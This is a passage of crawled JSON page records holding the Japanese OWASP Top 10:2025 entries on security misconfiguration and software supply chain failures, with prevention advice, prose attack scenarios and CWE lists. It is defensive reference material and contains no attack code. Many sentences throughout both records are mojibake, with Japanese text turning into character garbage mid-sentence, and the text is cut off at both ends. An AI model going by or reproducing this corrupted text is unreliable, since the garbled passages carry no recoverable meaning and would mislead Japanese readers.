2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A02_2025-Security_Misconfiguration/", "titulek": "A02 Security Misconfiguration - OWASP Top 10:2025", "h1": "A02:2025 セキュリティ設定の不備 (Security Misconfiguration)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A02_2025-Security_Misconfiguration/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 セキュリティ設定の不備 (Security Misconfiguration)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A02:2025 セキュリティ設定の不備 (Security Misconfiguration)\n\n## 背景 (Background)\n\n本カテゴリは、前回の第5位から第2位へと上昇しました。テストされたアプリケーションの100%で何らかの設定不備が見つかっており、平均出現率は3.00%、CWE(共通弱点一覧)の発生数は71万9ĺƒäťśă‚’čś…ăˆăŚă„ăžă™ă€‚éŤ˜ĺşŚăŞč¨­ĺŽšăŒĺŻčƒ˝ăŞă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă¸ăŽç§ťčĄŒăŒé€˛ă‚€ăŞă‹ă€ă“ăŽé †ä˝ăŽä¸Šć˜‡ăŻĺż…ç„śă¨č¨€ăˆăžă™ă€‚ä¸ťčŚăŞCWEには、設定 (CWE-16) や、XML外部実体参照 (XXE: XML External Entity) の不適切な制限 (CWE-611) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## 説明 (Description)\n\nセキュリティ設定の不備とは、システム、アプリケーション、またはクラウドサービスがセキュリティの観点から誤って構成され、脆弱性が生じている状態を指します。\n\näťĽä¸‹ăŽé …ç›ŽăŤĺ˝“ăŚăŻăžă‚‹ĺ ´ĺˆă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŻč„†ĺźąă§ă‚ă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n\n- アプリケーションスタックのいずれかの層において、適切なセキュリティ要塞化 (Hardening) ăŒćŹ ĺŚ‚ă—ăŚă„ă‚‹ă€ă‚ă‚‹ă„ăŻă‚ŻăƒŠă‚Śăƒ‰ă‚ľăƒźăƒ“ă‚šăŽć¨Šé™č¨­ĺŽšăŒä¸éŠĺˆ‡ă§ă‚ă‚‹ă€‚\n- 不要な機能(ポート、サービス、ページ、アカウント、テスト用フレームワーク、権限など)が有効化またはインストールされている。\n- デフォルトのアカウントやパスワードが変更されずに有効なままである。\n- éŽĺ‰°ăŞă‚¨ăƒŠăƒźăƒĄăƒƒă‚ťăƒźă‚¸ă‚’ć•ć‰ă™ă‚‹ä¸­ĺ¤Žé›†ä¸­ĺž‹ăŽč¨­ĺŽšăŒćŹ ĺŚ‚ă—ăŚăŠă‚Šă€ă‚šă‚żăƒƒă‚ŻăƒˆăƒŹăƒźă‚šăŞăŠăŽčŠłç´°ăŞćƒ…ĺ ąăŒăƒŚăƒźă‚śăƒźăŤéœ˛ĺ‡şă—ăŚă„ă‚‹ă€‚\n- システムのアップグレード時に、最新のセキュリティ機能が無効化されている、あるいは安全に設定されていない。\n- 後方互換性を過度に優先した結果、安全でない設定が維持されている。\n- アプリケーションサーバー、フレームワーク (Struts, Spring, ASP.NET 等)、ライブラリ、データベースなどのセキュリティ設定が安全な値になっていない。\n- サーバーがセキュリティヘッダーやディレクティブを送信していない、あるいはそれらが安全な値に設定されていない。\n\n反復可能で一貫したアプリケーションセキュリティ設定の要塞化プロセスがなければ、システムのリスクは高まり続けます。\n\n## 防止方法 (How to Prevent)\n\n安全なインストールプロセスを実装する必要があります。これには以下の対策が含まれます。\n\n- **反復可能な要塞化プロセス:** 適切にロックダウンされた環境を、迅速かつ容易にデプロイできるプロセスを確立してください。開発、QAă€ćœŹç•ŞăŽĺ„ç’°ĺ˘ƒăŻĺŒä¸€ăŽč¨­ĺŽšă¨ă—ă€čŞč¨źćƒ…ĺ ąăŽăżă‚’ç’°ĺ˘ƒă”ă¨ăŤä˝żă„ĺˆ†ă‘ă‚‹ăšăă§ă™ă€‚ă“ăŽăƒ—ăƒ­ă‚ťă‚šă‚’č‡Şĺ‹•ĺŒ–ă—ă€ĺŽ‰ĺ…¨ăŞç’°ĺ˘ƒć§‹çŻ‰ăŽč˛ čˇă‚’ćœ€ĺ°é™ăŤćŠ‘ăˆăŚăă ă•ă„ă€‚\n- **最小限のプラットフォーム:** 不要な機能、コンポーネント、ドキュメント、サンプルを含まない最小限のプラットフォームを構成してください。使用していない機能やフレームワークは削除するか、インストールしないでください。\n- **設定レビューとパッチ管理:** パッチ管理プロセスの一環として、セキュリティノートやアップデート、パッチに基づき設定をレビュー・更新してください( [A03 ソフトウェアサプライチェーンの不備](../A03_2025-Software_Supply_Chain_Failures/) を参照)。クラウドストレージ(S3 バケット等)の権限設定も定期的にレビューしてください。\n- **セグメント化されたアーキテクチャ:** コンテナ化、セグメンテーション、あるいはクラウドのセキュリティグループ (ACL) を活用し、コンポーネント間やテナント間を安全に分離してください。\n- **セキュリティディレクティブの送信:** セキュリティヘッダーなどのディレクティブをクライアントへ送信してください。\n- **自動検証プロセス:** すべての環境において、設定の有効性を自動で検証するプロセスを導入してください。\n- **中央集中型のエラー管理:** 過剰なエラーメッセージをインターセプトする中央設定を、バックアップとして事前に導入してください。\n- **手動検証の実施:** ć¤œč¨źăŒč‡Şĺ‹•ĺŒ–ă•ă‚ŒăŚă„ăŞă„ĺ ´ĺˆăŻă€ĺ°‘ăŞăă¨ă‚‚ĺš´ăŤä¸€ĺşŚăŻć‰‹ĺ‹•ă§ć¤œč¨źă‚’ĺŽŸć–˝ă—ăŚăă ă•ă„ă€‚\n- **プラットフォーム機能の活用:** コードや設定ファイル、パイプラインに静的なキーやシークレットを埋め込むのではなく、プラットフォームが提供するアイデンティティ連携 (Identity Federation)ă€çŸ­ĺ‘˝ăŞčŞč¨źćƒ…ĺ ą (Short-lived Credentials)、またはロールベースのアクセス制御を活用してください。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1:** 本番サーバーからサンプルアプリケーションが削除されていなかった。攻撃者は、これらのサンプルに含まれる既知の脆弱性を悪用してサーバーを侵害した。さらに、管理コンソールのデフォルトパスワードが変更されていなかったため、攻撃者は管理者としてログインし、システムを完全に乗っ取った。\n\n**シナリオ #2:** ă‚ľăƒźăƒăƒźăŽăƒ‡ă‚ŁăƒŹă‚ŻăƒˆăƒŞä¸€čŚ§čĄ¨ç¤şăŒç„ĄĺŠšĺŒ–ă•ă‚ŒăŚă„ăŞă‹ăŁăŸă€‚ć”ťć’ƒč€…ăŻăƒ‡ă‚ŁăƒŹă‚ŻăƒˆăƒŞć§‹é€ ă‚’ćŠŠćĄă—ă€ă‚łăƒłăƒ‘ă‚¤ăƒŤć¸ˆăżăŽ Java ă‚ŻăƒŠă‚šăƒ•ă‚Ąă‚¤ăƒŤă‚’ăƒ€ă‚Śăƒłăƒ­ăƒźăƒ‰ă—ăŸă€‚ă“ă‚Œă‚’ăƒ‡ă‚łăƒłăƒ‘ă‚¤ăƒŤă—ăŚă‚˝ăƒźă‚šă‚łăƒźăƒ‰ă‚’ăƒŞăƒăƒźă‚šă‚¨ăƒłă‚¸ăƒ‹ă‚˘ăƒŞăƒłă‚°ă—ăŸçľćžœă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŤé‡ĺ¤§ăŞă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŽćŹ é™ĽăŒă‚ă‚‹ă“ă¨ă‚’çŞăć­˘ă‚ăŸă€‚\n\n**シナリオ #3:** ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ľăƒźăƒăƒźăŽč¨­ĺŽšăŤă‚ˆă‚Šă€ă‚šă‚żăƒƒă‚ŻăƒˆăƒŹăƒźă‚šă‚’ĺŤă‚€čŠłç´°ăŞă‚¨ăƒŠăƒźăƒĄăƒƒă‚ťăƒźă‚¸ăŒăƒŚăƒźă‚śăƒźăŤčż”ă•ă‚ŒăŚă„ăŸă€‚ă“ă‚ŒăŤă‚ˆă‚Šă€ćŠŸĺŻ†ćƒ…ĺ ąă‚„ă€ä˝żç”¨ă•ă‚ŒăŚă„ă‚‹ă‚łăƒłăƒăƒźăƒăƒłăƒˆăŽăƒăƒźă‚¸ăƒ§ăƒłďźˆč„†ĺźąć€§ăŒć—˘çŸĽăŽă‚‚ăŽă‚’ĺŤă‚€ďź‰ă¨ă„ăŁăŸĺ†…éƒ¨ćƒ…ĺ ąăŒć”ťć’ƒč€…ăŤéœ˛ĺ‘ˆă—ăŸă€‚\n\n**シナリオ #4:** クラウドサービスプロバイダー (CSP) のデフォルト設定により、共有権限がインターネットに公開されていた。これにより、クラウドストレージ内に保存されていた機密データが第三者に奪取された。\n\n## 関連資料 (References)\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V13 Configuration](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## 紐付けられた CWE 一覧 (List of Mapped CWEs)\n\n- [CWE-5 J2EE Misconfiguration: Data Transmission Without Encryption](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Active Debug Code](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 9707, "slov": 389, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:20", "sha256": "58f100f1561c3a46f00f13f69f42fc77c5cbebecd7e921bd68791272356a09f9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ja/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Software Supply Chain Failures - OWASP Top 10:2025", "h1": "A03:2025 ソフトウェアサプライチェーンの不備 (Software Supply Chain Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ja/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 ソフトウェアサプライチェーンの不備 (Software Supply Chain Failures)"}, {"uroven": 2, "text": "背景 (Background)"}, {"uroven": 2, "text": "スコアテーブル (Score Table)"}, {"uroven": 2, "text": "説明 (Description)"}, {"uroven": 2, "text": "防止方法 (How to Prevent)"}, {"uroven": 2, "text": "攻撃シナリオの例 (Example Attack Scenarios)"}, {"uroven": 2, "text": "関連資料 (References)"}, {"uroven": 2, "text": "紐付けられた CWE 一覧 (List of Mapped CWEs)"}], "markdown": "# A03:2025 ソフトウェアサプライチェーンの不備 (Software Supply Chain Failures)\n\n## 背景 (Background)\n\nこのカテゴリには圧倒的な関心が集まっており、コミュニティ調査における回答者のちょうど半数が、第1位に選んだものです。2013ĺš´ç‰ˆăŤă€Œć—˘çŸĽăŽč„†ĺźąć€§ă‚’ćŒă¤ă‚łăƒłăƒăƒźăƒăƒłăƒˆăŽĺˆŠç”¨ă€ă¨ă—ăŚĺˆç™ťĺ ´ă—ăŚäťĽćĽă€ăăŽĺŻžčąĄçŻ„ĺ›˛ăŻć‹Ąĺ¤§ă—ă€çžĺœ¨ă§ăŻć—˘çŸĽăŽč„†ĺźąć€§ă ă‘ă§ăŞăă€ă‚ľăƒ—ăƒŠă‚¤ăƒă‚§ăƒźăƒłĺ…¨ĺŸŸăŽĺ¤ąć•— (Software Supply Chain Failures) を含むようになっています。範囲が広がった一方で、特定の CWE (共通弱点一覧) と CVE (共通脆弱性識別子) の紐付けが難しく、依然として識別の難しさが課題となっています。しかし、収集データによれば、本カテゴリの平均出現率 (Incidence Rate) は 5.19% と全カテゴリの中で最高を記録しています。主要な CWE には、廃止された機能の利用 (CWE-477)、保守されていないサードパーティ製コンポーネントの利用 (CWE-1104)、更新不可能なコンポーネントへの依存 (CWE-1329)、および脆弱なサードパーティ製コンポーネントへの依存 (CWE-1395) が含まれます。\n\n## スコアテーブル (Score Table)\n\n| 紐付けられた CWE 数 | 最大出現率 | 平均出現率 | 最大網羅率 | 平均網羅率 | ĺšłĺ‡ĺŠ é‡ć‚Şç”¨ă‚šă‚łă‚˘ | ĺšłĺ‡ĺŠ é‡ĺ˝ąéŸżă‚šă‚łă‚˘ | 出現総数 | CVE 総数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## 説明 (Description)\n\nă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă‚ľăƒ—ăƒŠă‚¤ăƒă‚§ăƒźăƒłăŽĺ¤ąć•—ă¨ăŻă€ă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ăŽć§‹çŻ‰ă€é…ĺ¸ƒă€ăžăŸăŻć›´ć–°ăŽăƒ—ăƒ­ă‚ťă‚šăŤăŠă‘ă‚‹ç ´çśťă‚„äžľĺŽłă‚’ćŒ‡ă—ăžă™ă€‚ă“ă‚Œă‚‰ăŻĺ¤šăăŽĺ ´ĺˆă€ă‚ˇă‚šăƒ†ăƒ ăŒäžĺ­˜ă—ăŚă„ă‚‹ă‚ľăƒźăƒ‰ăƒ‘ăƒźăƒ†ă‚ŁčŁ˝ăŽă‚łăƒźăƒ‰ă€ăƒ„ăƒźăƒŤă€ăžăŸăŻăăŽäť–ăŽäžĺ­˜é–˘äż‚ăŤăŠă‘ă‚‹č„†ĺźąć€§ă‚„ć‚Şć„ăŽă‚ă‚‹ĺ¤‰ć›´ăŤă‚ˆăŁăŚĺź•ăčľˇă“ă•ă‚Œăžă™ă€‚\n\näťĽä¸‹ăŽé …ç›ŽăŤĺ˝“ăŚăŻăžă‚‹ĺ ´ĺˆă€č„†ĺźąă§ă‚ă‚‹ĺŻčƒ˝ć€§ăŒéŤ˜ă„ă¨č¨€ăˆăžă™ă€‚\n\n- 使用しているすべてのコンポーネント(クライアント側およびサーバー側の両方)のバージョンを正確に把握していない。これには、直接使用するコンポーネントだけでなく、入れ子になった(透過的な (transitive))依存関係も含まれます。\n- ソフトウェアが脆弱であるか、サポートが終了しているか、あるいは古くなっている。対象は OS、Web/アプリケーションサーバー、データベース (DBMS)、API、ライブラリ、実行環境など多岐にわたります。\n- č„†ĺźąć€§ă‚šă‚­ăƒŁăƒłă‚’ĺŽšćœŸçš„ăŤĺŽŸć–˝ă—ăŚăŠă‚‰ăšă€ä˝żç”¨ă‚łăƒłăƒăƒźăƒăƒłăƒˆăŤé–˘ă™ă‚‹ă‚ťă‚­ăƒĽăƒŞăƒ†ă‚Łćƒ…ĺ ąăŽé€šçŸĽă‚‚ĺ—ă‘ĺ–ăŁăŚă„ăŞă„ă€‚\n- ă‚ľăƒ—ăƒŠă‚¤ăƒă‚§ăƒźăƒłĺ†…ăŽĺ¤‰ć›´ă‚’čż˝čˇĄăƒťçŽĄç†ă™ă‚‹ăƒ—ăƒ­ă‚ťă‚šăŒćŹ ĺŚ‚ă—ăŚă„ă‚‹ă€‚IDE (統合開発環境) の拡張機能や更新、コードリポジトリ、ビルド環境、ライブラリの保存方法など、あらゆる変更を文書化する必要があります。\n- アクセス制御と最小権限の原則 (Least Privilege) に重点を置いた、サプライチェーン全体の要塞化 (Hardening) が行われていない。\n- 職務分掌 (Separation of Duty) ăŒç˘şçŤ‹ă•ă‚ŒăŚă„ăŞă„ă€‚äť–č€…ăŽăƒŹăƒ“ăƒĽăƒźăŞă—ăŤă€ä¸€äşşăŽć‹…ĺ˝“č€…ăŒă‚łăƒźăƒ‰ăŽč¨˜čż°ă‹ă‚‰ćœŹç•Şç’°ĺ˘ƒă¸ăŽĺć˜ ăžă§ă‚’ĺŽŒçľă§ăăŚă—ăžă†çŠść…‹ăŻĺąé™şă§ă™ă€‚\n- äżĄé źă§ăăŞă„ă‚˝ăƒźă‚šă‹ă‚‰ĺ…Ľć‰‹ă—ăŸă‚łăƒłăƒăƒźăƒăƒłăƒˆăŒă€ćœŹç•Şç’°ĺ˘ƒăŤä˝żç”¨ă•ă‚ŒăŚă„ă‚‹ă€ă‚ă‚‹ă„ăŻćœŹç•Şç’°ĺ˘ƒăŤĺ˝ąéŸżă‚’ĺŠăźă—ă†ă‚‹çŠść…‹ăŤă‚ă‚‹ă€‚\n- プラットフォームやフレームワークのアップデートをリスクに基づいて迅速に行っていない。パッチ適用を月次や四半期ごとのルーチンに固定していると、脆弱性の発覚から修正までの間に、組織が不必要なリスクに晒されることになります。\n- 開発者が、パッチ適用後のライブラリの互換性テストを実施していない。\n- システムのあらゆる箇所の設定を安全に構成していない( [A02:2025-セキュリティ設定の不備](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) 参照)。\n- CI/CD ăƒ‘ă‚¤ăƒ—ăƒŠă‚¤ăƒłăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŒă€ăƒ“ăƒŤăƒ‰ĺŻžčąĄăŽă‚ˇă‚šăƒ†ăƒ ă‚ˆă‚Šă‚‚č„†ĺźąă§ă‚ă‚‹ďźˆç‰šăŤăƒ‘ă‚¤ăƒ—ăƒŠă‚¤ăƒłăŒč¤‡é›‘ăŞĺ ´ĺˆďź‰ă€‚\n\n## 防止方法 (How to Prevent)\n\näťĽä¸‹ăŽé …ç›Žă‚’ĺŤă‚€ăƒ‘ăƒƒăƒçŽĄç†ăƒ—ăƒ­ă‚ťă‚šă‚’ç˘şçŤ‹ă—ăŚăă ă•ă„ă€‚\n\n- **SBOM の一元管理:** ソフトウェア全体のソフトウェア部品表 (SBOM: Software Bill of Materials) を一元的に生成・管理してください。\n- **依存関係の追跡:** 直接的な依存関係だけでなく、透過的 (transitive) な依存関係もすべて追跡してください。\n- **攻撃面の削減:** 未使用の依存関係、不要な機能、コンポーネント、ファイル、ドキュメントを削除してください。\n- **継続的な目録化:** OWASP Dependency Track などのツールを用いて、コンポーネントとその依存関係のバージョンを常に目録化 (Inventory) してください。\n- **継続的な監視:** CVE や NVD、 [Open Source Vulnerabilities (OSV)](https://osv.dev/) ă‚’ç›ŁčŚ–ă—ă€ä˝żç”¨ă‚łăƒłăƒăƒźăƒăƒłăƒˆăŽč„†ĺźąć€§ćƒ…ĺ ąă‚’č‡Şĺ‹•çš„ăŤĺ–ĺž—ă—ăŚăă ă•ă„ă€‚\n- **äżĄé źă§ăă‚‹ă‚˝ăƒźă‚šăŽĺˆŠç”¨ďźš** ă‚łăƒłăƒăƒźăƒăƒłăƒˆăŻĺ…ŹĺźăŽäżĄé źă§ăă‚‹ă‚˝ăƒźă‚šă‹ă‚‰ă€ĺŽ‰ĺ…¨ăŞé€šäżĄçľŒčˇŻă‚’äť‹ă—ăŚăŽăżĺ…Ľć‰‹ă—ăŚăă ă•ă„ă€‚ć”šă–ă‚“ăŽăƒŞă‚šă‚Żă‚’ć¸›ă‚‰ă™ăŸă‚ă€ç˝˛ĺć¸ˆăżăƒ‘ăƒƒă‚ąăƒźă‚¸ăŽĺˆŠç”¨ă‚’ćŽ¨ĺĽ¨ă—ăžă™ă€‚\n- **戦略的なアップデート:** äžĺ­˜é–˘äż‚ăŽăƒăƒźă‚¸ăƒ§ăƒłăŻć…Žé‡ăŤé¸ćŠžă—ă€ĺż…čŚăŒç”Ÿă˜ăŸéš›ăŤăŽăżă‚˘ăƒƒăƒ—ă‚°ăƒŹăƒźăƒ‰ă—ăŚăă ă•ă„ă€‚äżĺŽˆă•ă‚ŒăŚă„ăŞă„ăƒŠă‚¤ăƒ–ăƒŠăƒŞă‚’ç›ŁčŚ–ă—ă€ăƒ‘ăƒƒăƒéŠç”¨ăŒä¸ĺŻčƒ˝ăŞĺ ´ĺˆăŻäťŁć›żă‚łăƒłăƒăƒźăƒăƒłăƒˆă¸ăŽç§ťčĄŒă‚„ă€ăƒăƒźăƒăƒŁăƒŤăƒ‘ăƒƒăƒ (Virtual Patch) の導入を検討してください。\n- **開発ツールの更新:** CI/CD、IDE、その他の開発者向けツールを定期的に更新してください。\n- **段階的なデプロイ:** 全システムへの同時アップデートを避け、段階的リリース (Staged Rollout) やカナリアデプロイ (Canary Deployment) を活用して、ベンダー侵害時の被害を最小化してください。\n\nまた、以下の変更を追跡するための変更管理プロセスまたは追跡システムを確立してください。\n\n- CI/CD の設定(すべてのビルドツールとパイプライン)\n- コードリポジトリ\n- サンドボックス環境\n- 開発者の IDE\n- SBOM ツールおよび生成された成果物\n- ログシステムとログ\n- SaaS などのサードパーティ統合\n- 成果物リポジトリ\n- コンテナレジストリ\n\nまた、以下のシステムにおいて要塞化 (Hardening) ă‚’ĺŽŸć–˝ă—ă€ĺ¤ščŚç´ čŞč¨ź (MFA) の導入とアクセス管理 (IAM) ă‚’ĺŽłć źĺŒ–ă—ăŚăă ă•ă„ă€‚\n\n- **コードリポジトリ:** シークレットのコミット禁止、ブランチ保護、バックアップの実施。\n- **開発者の端末:** 定期的なパッチ適用、監視の実施。\n- **ビルドサーバーと CI/CD:** 職務分掌、署名付きビルド、環境ごとに分離されたシークレット管理、改ざん防止ログの導入。\n- **成果物 (Artifacts):** ç˝˛ĺă‚„ă‚żă‚¤ăƒ ă‚šă‚żăƒłăƒ—ăŤă‚ˆă‚‹ĺŽŒĺ…¨ć€§ăŽç˘şäżă€‚ç’°ĺ˘ƒă”ă¨ăŤĺ†ăƒ“ăƒŤăƒ‰ă™ă‚‹ăŽă§ăŻăŞăă€ĺŒä¸€ăŽćˆćžœç‰Šă‚’ć˜‡ć źă•ă›ă‚‹ăƒ—ăƒ­ă‚ťă‚šďźˆä¸ĺ¤‰ăŽăƒ“ăƒŤăƒ‰ďź‰ă‚’ĺžšĺş•ă—ăŚăă ă•ă„ă€‚\n\nすべての組織は、アプリケーションやポートフォリオのライフサイクル全体を通じて、アップデートや設定変更を監視・選別・適用するための継続的な計画を確保しなければなりません。\n\n## 攻撃シナリオの例 (Example Attack Scenarios)\n\n**シナリオ #1ďźšäżĄé źă§ăă‚‹ăƒ™ăƒłăƒ€ăƒźăŽäžľĺŽł**\nベンダーがマルウェアに侵害され、アップデートを通じて利用者のシステムも侵害されるケースです。\n* **SolarWinds 侵害事件 (2019 ĺš´):** 約 18,000 の組織に影響を与えたサプライチェーン攻撃の代表例です。[詳細記事](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**シナリオ #2:特定条件でのみ発動する悪意ある挙動**\n* **Bybit 資産奪取事件 (2025 ĺš´):** [ウォレットソフトウェアへのサプライチェーン攻撃](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/)により、15 億ドルが盗まれました。この攻撃は、標的のウォレットが使用されている特定の条件下でのみ実行されるよう設計されていました。\n\n**シナリオ #3:自己拡散型ワーăƒ**\n* **[`Shai-Hulud` サプライチェーン攻撃](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) (2025 ĺš´):** npm エコシステムに影響を与えた、初の自己拡散型 npm ワームです。悪意のあるパッケージを起点に、インストール後スクリプト (Post-install 